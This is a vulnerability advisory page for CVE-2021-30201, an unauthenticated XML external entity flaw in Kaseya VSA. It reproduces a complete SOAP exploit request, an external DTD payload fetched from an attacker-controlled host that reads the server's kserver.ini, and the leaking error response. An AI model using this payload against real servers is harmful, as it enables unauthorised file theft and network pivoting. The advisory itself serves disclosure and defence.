CVE-2021-30201 Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6
Unauthenticated attackers can exploit an XML External Entity vulnerability in Kaseya VSA to read arbitrary files from the server.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- None listed
What is CVE-2021-30201?
CVE-2021-30201 is a high-severity vulnerability in n/a, published on 9 Jul 2021. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---> There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.
Weakness: CWE-611
Which versions are affected by CVE-2021-30201?
It affects 1 product.
Products include Kaseya Vsa.
How do I fix CVE-2021-30201?
No fix has been published for CVE-2021-30201 yet. Limit exposure of the affected software until one is available.
Is CVE-2021-30201 being exploited?
There is no known exploitation of CVE-2021-30201 in the wild and no public exploit code.
Other vulnerabilities in n/a
- CVE-2021-30120 2FA bypass in Kaseya VSA <= v9.5.6
- CVE-2021-30117 Authenticated SQL injection in Kaseya VSA < v9.5.6
- CVE-2021-30118 Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5
- CVE-2019-14510 Hardcoded credentials in n/a
- CVE-2021-30121 (Semi-)Authenticated local file inclusion in Kaseya VSA < v9.5.6
Sources
Also known as GHSA-xx66-m4r3-r5vf.